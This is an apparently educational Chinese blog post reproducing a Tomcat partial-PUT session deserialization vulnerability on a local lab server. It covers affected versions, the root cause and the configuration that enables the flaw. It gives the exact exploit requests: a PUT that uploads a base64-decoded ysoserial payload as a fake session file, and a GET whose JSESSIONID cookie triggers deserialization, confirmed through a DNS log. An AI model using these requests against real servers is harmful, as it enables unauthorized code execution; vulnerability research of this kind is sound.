漏洞存在条件
影响版本:
- 9.0.0.M1 <= tomcat <= 9.0.98
- 10.1.0-M1 <= tomcat <= 10.1.34
- 11.0.0-M1 <= tomcat <= 11.0.2
该漏洞利用条件较为复杂,需同时满足以下四个条件:
- 应用程序启用了DefaultServlet写入功能,该功能默认关闭
- 应用支持了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中,该功能默认开启
- 应用使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置,需要额外配置
- 应用中包含一个存在反序列化漏洞的库,比如存在于类路径下的 commons-collections,此条件取决于业务实现是否依赖存在反序列化利用链的库
ps:以上内容来源自奇安信攻防社区文章
tomcat 又双叒叕爆洞了,这回入门比较晚的我也吃上热乎的了(
正好也在学 java 安全相关,之前的文章不算太久之前也刚刚做了 tomcat 所有公布的 nday 复现,这次又有一个新洞,直接安排
原理分析
Content-Range 字段在 HTTP PUT 请求中主要用于实现大文件的分块传输。
一般格式是 Content-Range: bytes start-end/total ,其中 total 是资源的总字节大小。例如 Content-Range: bytes 0-499/1234 表示响应返回了文件的前500个字节,而文件总大小为1234字节。
在文件上传未完成的情况下,内容会被临时存储在Tomcat的工作目录:$CATALINA_BASE/work/Catalina/localhost/ROOT。
那 Tomcat 为什么会因为这个功能产生一个反序列化的洞呢 ?
核心在于 PUT 请求分片上传时的文件名处理机制:文件上传的路径中的分隔符 / 会被转换为 .
例如:访问/xxxxx/session会被解析为.xxxxx.session
另一个核心点在于,JSESSIONID 的机制
Tomcat 会将会话文件名以 JSESSIONID 为基础,加 .session 后缀存储,当请求包 JSESSIONID 设置为 .xxxxx,那就会去路径下寻找 .xxxxx.session 文件并且解析,解析的时候就会触发反序列化操作,以恢复会话状态
两个要点结合一下,便成了:上传文件,路径设置并解析为 .xxxxx.session,然后再请求一下,JSESSIONID 设置为 .xxxxx,然后就会去寻找我们刚刚上传的那个文件,然后反序列化之,那么如果我们构造一个恶意的序列化数据文件,那就达成了反序列化攻击
整个漏洞的利用过程为:
- Tomcat的File会话存储默认路径同样位于:
CATALINA_BASE/work/Catalina/localhost/ROOT - 当存在反序列化利用链时,可以上传包含恶意序列化数据的文件
- 通过设置
JSESSIONID=.xxxxx来触发漏洞
复现开搞
conf/context.xml 添加下面配置
<Context\>
<Manager className\="org.apache.catalina.session.PersistentManager"\>
<Store className\="org.apache.catalina.session.FileStore"/>
</Manager\>
</Context\>
开启 File 会话存储,默认路径是 CATALINA_BASE/work/Catalina/localhost/ROOT,大文件分片上传未完成的时候也会临时存储在这里
conf/web.xml 添加下面配置,将DefaultServlet的readonly配置为false,启用写入功能
<servlet\>
<servlet-name\>default</servlet-name\>
<servlet-class\>org.apache.catalina.servlets.DefaultServlet</servlet-class\>
<init-param\>
<param-name\>debug</param-name\>
<param-value\>0</param-value\>
</init-param\>
<init-param\>
<param-name\>readonly</param-name\>
<param-value\>false</param-value\>
</init-param\>
<load-on-startup\>1</load-on-startup\>
</servlet\>
接下来就可以开始复现了,先启动好一个 tomcat 环境(提前改好配置)

然后开启 yakit,生成个 dns

然后 Yso-Java Hack 里面生成个 urldns 链子的 payload (urldns 链子的审计我之前文章有发)

然后起 Web Fuzzer
PUT /xxxxx/session HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200
{{base64dec(填入数据)}}
记得加 base64dec,因为生成的是序列化数据(二进制文件)的 base64,不解码一下会出问题
然后发包,然后应该是 409 的返回码
之后发下一个包
GET / HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=.xxxxx
然后返回码 500 返回 dnslog 查看

产生解析记录,验证反序列化利用成功
用 urldns 主要是因为不用管依赖,万金油链子